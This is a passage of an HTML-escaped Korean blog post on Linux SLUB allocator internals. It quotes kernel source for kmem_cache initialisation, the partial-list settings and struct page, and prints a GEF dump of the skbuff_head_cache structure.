		&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;per_cpu_ptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cpu_slab&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cpu&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;local_lock_init&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;init_tid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cpu&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;또, 살펴볼만한 것으로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;set_min_partial()&lt;/code&gt;와 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;set_cpu_partial()&lt;/code&gt;이 있다. 전자는 일부의 오브젝트만 free된 slab의 linked list인 partial list의 최소 노드 수를 설정한다. 그리고 후자는 per-cpu partial list의 최대 노드 수를 설정한다. 이들은 후에 설명할 slab free 과정에서 다시 나올  것이다.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cm&quot;&gt;/* mm/slub.c */&lt;/span&gt;

&lt;span class=&quot;cm&quot;&gt;/*
 * Minimum number of partial slabs. These will be left on the partial
 * lists even if they are empty. kmem_cache_shrink may reclaim them.
 */&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#define MIN_PARTIAL 5
&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/*
 * Maximum number of desirable partial slabs.
 * The existence of more partial slabs makes kmem_cache_shrink
 * sort the partial list by the number of objects in use.
 */&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#define MAX_PARTIAL 10
&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;set_min_partial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kmem_cache&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;min&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;min&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MIN_PARTIAL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;min&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MIN_PARTIAL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;min&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MAX_PARTIAL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;min&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MAX_PARTIAL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;min_partial&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;min&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cm&quot;&gt;/* mm/slub.c */&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;set_cpu_partial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kmem_cache&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#ifdef CONFIG_SLUB_CPU_PARTIAL
&lt;/span&gt;	&lt;span class=&quot;cm&quot;&gt;/*
	 * cpu_partial determined the maximum number of objects kept in the
	 * per cpu partial lists of a processor.
	 *
	 * Per cpu partial lists mainly contain slabs that just have one
	 * object freed. If they are used for allocation then they can be
	 * filled up again with minimal effort. The slab will never hit the
	 * per node partial lists and therefore no locking will be required.
	 *
	 * This setting also determines
	 *
	 * A) The number of objects from per cpu partial slabs dumped to the
	 *    per node list when we reach the limit.
	 * B) The number of objects in cpu partial slabs to extract from the
	 *    per node list when we run out of per cpu objects. We only fetch
	 *    50% to keep some capacity around for frees.
	 */&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;kmem_cache_has_cpu_partial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;slub_set_cpu_partial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PAGE_SIZE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;slub_set_cpu_partial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1024&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;slub_set_cpu_partial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;slub_set_cpu_partial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;slub_set_cpu_partial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#endif
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#define slub_cpu_partial(s)		((s)-&amp;gt;cpu_partial)
#define slub_set_cpu_partial(s, n)		\
({						\
	slub_cpu_partial(s) = (n);		\
})
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;이밖에도 여러 멤버 변수들이 초기화되며, 그 예시는 다음과 같다:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gef&amp;gt; p *(struct kmem_cache *) skbuff_head_cache
$3 = {
  cpu_slab = 0x2e380,
  flags = 0x40042000,
  min_partial = 0x5,
  size = 0x100,
  object_size = 0xe0,
  reciprocal_size = {
    m = 0x1,
    sh1 = 0x1,
    sh2 = 0x7
  },
  offset = 0x70,
  cpu_partial = 0xd,
  oo = {
    x = 0x10
  },
  max = {
    x = 0x10
  },
  min = {
    x = 0x10
  },
  allocflags = 0x0,
  refcount = 0x1,
  ctor = 0x0 &amp;lt;fixed_percpu_data&amp;gt;,
  inuse = 0xe0,
  align = 0x40,
  red_left_pad = 0x0,
  name = 0xffffffff8261d1f0 &quot;skbuff_head_cache&quot;,
  list = {
    next = 0xffff8880036a4168,
    prev = 0xffff8880036a4368
  },
  kobj = {
    name = 0xffffffff8261d1f0 &quot;skbuff_head_cache&quot;,
    entry = {
      next = 0xffff8880036a4180,
      prev = 0xffff8880036a4380
    },
    parent = 0xffff888003629a98,
    kset = 0xffff888003629a80,
    ktype = 0xffffffff8295b620 &amp;lt;slab_ktype&amp;gt;,
    sd = 0xffff88800363ff80,
    kref = {
      refcount = {
        refs = {
          counter = 0x1
        }
      }
    },
    state_initialized = 0x1,
    state_in_sysfs = 0x1,
    state_add_uevent_sent = 0x0,
    state_remove_uevent_sent = 0x0,
    uevent_suppress = 0x0
  },
  remote_node_defrag_ratio = 0x3e8,
  useroffset = 0x28,
  usersize = 0x30,
  node = {
    [0x0] = 0xffff8880036a5080,
    [0x1] = 0x0 &amp;lt;fixed_percpu_data&amp;gt;,
    [0x2] = 0x0 &amp;lt;fixed_percpu_data&amp;gt;,
    [0x3] = 0x0 &amp;lt;fixed_percpu_data&amp;gt;,
    [0x4] = 0x0 &amp;lt;fixed_percpu_data&amp;gt;,
    [0x5] = 0x0 &amp;lt;fixed_percpu_data&amp;gt;,
    [0x6] = 0x0 &amp;lt;fixed_percpu_data&amp;gt;,
    [0x7] = 0x2e3a0,
    [0x8] = 0x40042000,
    [0x9] = 0x5 &amp;lt;fixed_percpu_data+5&amp;gt;,
    [0xa] = 0x20000000200,
    [0xb] = 0x80100000001,
    [0xc] = 0xd000000e0,
    [0xd] = 0x1001000010010,
    [0xe] = 0x4000000000008,
    [0xf] = 0x2 &amp;lt;fixed_percpu_data+2&amp;gt;,
    [0x10] = 0x0 &amp;lt;fixed_percpu_data&amp;gt;,
    [0x11] = 0x4000000200,
    [0x12] = 0x0 &amp;lt;fixed_percpu_data&amp;gt;,
    [0x13] = 0xffffffff8261d202,
    [0x14] = 0xffff8880036a4268,
    [0x15] = 0xffff8880036a4468,
    [0x16] = 0xffff8880034fc2d0,
    [0x17] = 0xffff8880036a4280,
    [0x18] = 0xffff8880036a4480,
    [0x19] = 0xffff888003629a98,
    [0x1a] = 0xffff888003629a80,
    [0x1b] = 0xffffffff8295b620 &amp;lt;slab_ktype&amp;gt;,
    [0x1c] = 0xffff88800363f000,
    [0x1d] = 0x300000001,
    [0x1e] = 0x3e8,
    [0x1f] = 0x0 &amp;lt;fixed_percpu_data&amp;gt;,
    [0x20] = 0xffff8880036a50c0,
    [0x21] = 0x0 &amp;lt;fixed_percpu_data&amp;gt;,
    [0x22] = 0x0 &amp;lt;fixed_percpu_data&amp;gt;,
    [0x23] = 0x0 &amp;lt;fixed_percpu_data&amp;gt;,
    [0x24] = 0x0 &amp;lt;fixed_percpu_data&amp;gt;,
    [0x25] = 0x0 &amp;lt;fixed_percpu_data&amp;gt;,
    [0x26] = 0x0 &amp;lt;fixed_percpu_data&amp;gt;,
    [0x27] = 0x2e3c0,
    [0x28] = 0x40022000,
    [0x29] = 0x5 &amp;lt;fixed_percpu_data+5&amp;gt;,
    [0x2a] = 0x30000000340,
    [0x2b] = 0x9013b13b13c,
    [0x2c] = 0xd00000300,
    [0x2d] = 0x2001300020013,
    [0x2e] = 0x4001000000004,
    [0x2f] = 0x1 &amp;lt;fixed_percpu_data+1&amp;gt;,
    [0x30] = 0xffffffff818d8e40 &amp;lt;init_once&amp;gt;,
    [0x31] = 0x4000000300,
    [0x32] = 0x0 &amp;lt;fixed_percpu_data&amp;gt;,
    [0x33] = 0xffffffff8261cbe8,
    [0x34] = 0xffff8880036a4368,
    [0x35] = 0xffff888003508c68,
    [0x36] = 0xffffffff8261cbe8,
    [0x37] = 0xffff8880036a4380,
    [0x38] = 0xffff888003508c80,
    [0x39] = 0xffff888003629a98,
    [0x3a] = 0xffff888003629a80,
    [0x3b] = 0xffffffff8295b620 &amp;lt;slab_ktype&amp;gt;,
    [0x3c] = 0xffff88800363e100,
    [0x3d] = 0x300000001,
    [0x3e] = 0x3e8,
    [0x3f] = 0x0 &amp;lt;fixed_percpu_data&amp;gt;
  }
}
gef&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;slub-allocator-and-skb-allocation&quot;&gt;SLUB allocator and SKB allocation&lt;/h2&gt;

&lt;p&gt;SLUB allocator는 기존에 사용되던 SLAB allocator의 대안으로 제시되었으며, slab을 특정 오브젝트로 구성된 페이지의 그룹으로 바라본다. 이러한 slab은 그 자체로는 freelist를 관리하지 않는다. 그래서 freelist를 관리하기 위한 데이터를 페이지 구조체에 저장한다[1].&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cm&quot;&gt;/* include/linux/mm_types.h */&lt;/span&gt;

&lt;span class=&quot;cm&quot;&gt;/*
 * Each physical page in the system has a struct page associated with
 * it to keep track of whatever it is we are using the page for at the
 * moment. Note that we have no way to track which tasks are using
 * a page, though if it is a pagecache page, rmap structures can tell us
 * who is mapping it.
 *
 * If you allocate the page using alloc_pages(), you can use some of the
 * space in struct page for your own purposes.  The five words in the main
 * union are available, except for bit 0 of the first word which must be
 * kept clear.  Many users use this word to store a pointer to an object
 * which is guaranteed to be aligned.  If you use the same storage as
 * page-&amp;gt;mapping, you must restore it to NULL before freeing the page.
 *
 * If your page will not be mapped to userspace, you can also use the four
 * bytes in the mapcount union, but you must call page_mapcount_reset()
 * before freeing it.
 *
 * If you want to use the refcount field, it must be used in such a way
 * that other CPUs temporarily incrementing and then decrementing the
 * refcount does not cause problems.  On receiving the page from
 * alloc_pages(), the refcount will be positive.
 *
 * If you allocate pages of order &amp;gt; 0, you can use some of the fields
 * in each subpage, but you may need to restore some of their values
 * afterwards.
 *
 * SLUB uses cmpxchg_double() to atomically update its freelist and
 * counters.  That requires that freelist &amp;amp; counters be adjacent and
 * double-word aligned.  We align all struct pages to double-word
 * boundaries, and ensure that &apos;freelist&apos; is aligned within the
 * struct.
 */&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#ifdef CONFIG_HAVE_ALIGNED_STRUCT_PAGE
#define _struct_page_alignment	__aligned(2 * sizeof(unsigned long))
#else
#define _struct_page_alignment
#endif
&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;page&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;		&lt;span class=&quot;cm&quot;&gt;/* Atomic flags, some possibly
					 * updated asynchronously */&lt;/span&gt;
	&lt;span class=&quot;cm&quot;&gt;/*
	 * Five words (20/40 bytes) are available in this union.
	 * WARNING: bit 0 of the first word is used for PageTail(). That
	 * means the other users of this union MUST NOT use the bit to
	 * avoid collision and false-positive PageTail().
	 */&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;union&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;cm&quot;&gt;/* ... */&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;	&lt;span class=&quot;cm&quot;&gt;/* slab, slob and slub */&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;union&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
				&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;list_head&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;slab_list&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
				&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;	&lt;span class=&quot;cm&quot;&gt;/* Partial pages */&lt;/span&gt;
					&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;page&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#ifdef CONFIG_64BIT
&lt;/span&gt;					&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pages&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;	&lt;span class=&quot;cm&quot;&gt;/* Nr of pages left */&lt;/span&gt;
					&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pobjects&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;	&lt;span class=&quot;cm&quot;&gt;/* Approximate count */&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#else
&lt;/span&gt;					&lt;span class=&quot;kt&quot;&gt;short&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pages&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
					&lt;span class=&quot;kt&quot;&gt;short&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pobjects&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#endif
&lt;/span&gt;				&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
			&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kmem_cache&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;slab_cache&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;cm&quot;&gt;/* not slob */&lt;/span&gt;
			&lt;span class=&quot;cm&quot;&gt;/* Double-word boundary */&lt;/span&gt;
			&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;freelist&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;		&lt;span class=&quot;cm&quot;&gt;/* first free object */&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;union&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
				&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s_mem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;	&lt;span class=&quot;cm&quot;&gt;/* slab: first object */&lt;/span&gt;
				&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;counters&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;		&lt;span class=&quot;cm&quot;&gt;/* SLUB */&lt;/span&gt;
				&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;			&lt;span class=&quot;cm&quot;&gt;/* SLUB */&lt;/span&gt;
					&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;inuse&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
					&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;objects&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
					&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;frozen&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
				&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
			&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
		&lt;span class=&quot;cm&quot;&gt;/* ... */&lt;/span&gt;

		&lt;span class=&quot;cm&quot;&gt;/** @rcu_head: You can use this to free a page by RCU. */&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rcu_head&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rcu_head&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;union&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;		&lt;span class=&quot;cm&quot;&gt;/* This union is 4 bytes in size. */&lt;/span&gt;
		&lt;span class=&quot;cm&quot;&gt;/*
		 * If the page can be mapped to userspace, encodes the number
		 * of times this page is referenced by a page table.
		 */&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;atomic_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_mapcount&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

		&lt;span class=&quot;cm&quot;&gt;/*
		 * If the page is neither PageSlab nor mappable to userspace,
		 * the value stored here may help determine what this page
		 * is used for.  See page-flags.h for a list of page types
		 * which are currently stored here.
		 */&lt;/span&gt;
		&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;page_type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

		&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;active&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;		&lt;span class=&quot;cm&quot;&gt;/* SLAB */&lt;/span&gt;
		&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;units&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;			&lt;span class=&quot;cm&quot;&gt;/* SLOB */&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

	&lt;span class=&quot;cm&quot;&gt;/* Usage count. *DO NOT USE DIRECTLY*. See page_ref.h */&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;atomic_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_refcount&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;cp&quot;&gt;#ifdef CONFIG_MEMCG
&lt;/span&gt;	&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;memcg_data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#endif
&lt;/span&gt;
	&lt;span class=&quot;cm&quot;&gt;/*
	 * On machines where all RAM is mapped into kernel address space,
	 * we can simply calculate the virtual address. On machines with
	 * highmem some memory is mapped into kernel virtual memory
	 * dynamically, so we need a place to store that address.
	 * Note that this field could be 16 bits on x86 ... ;)
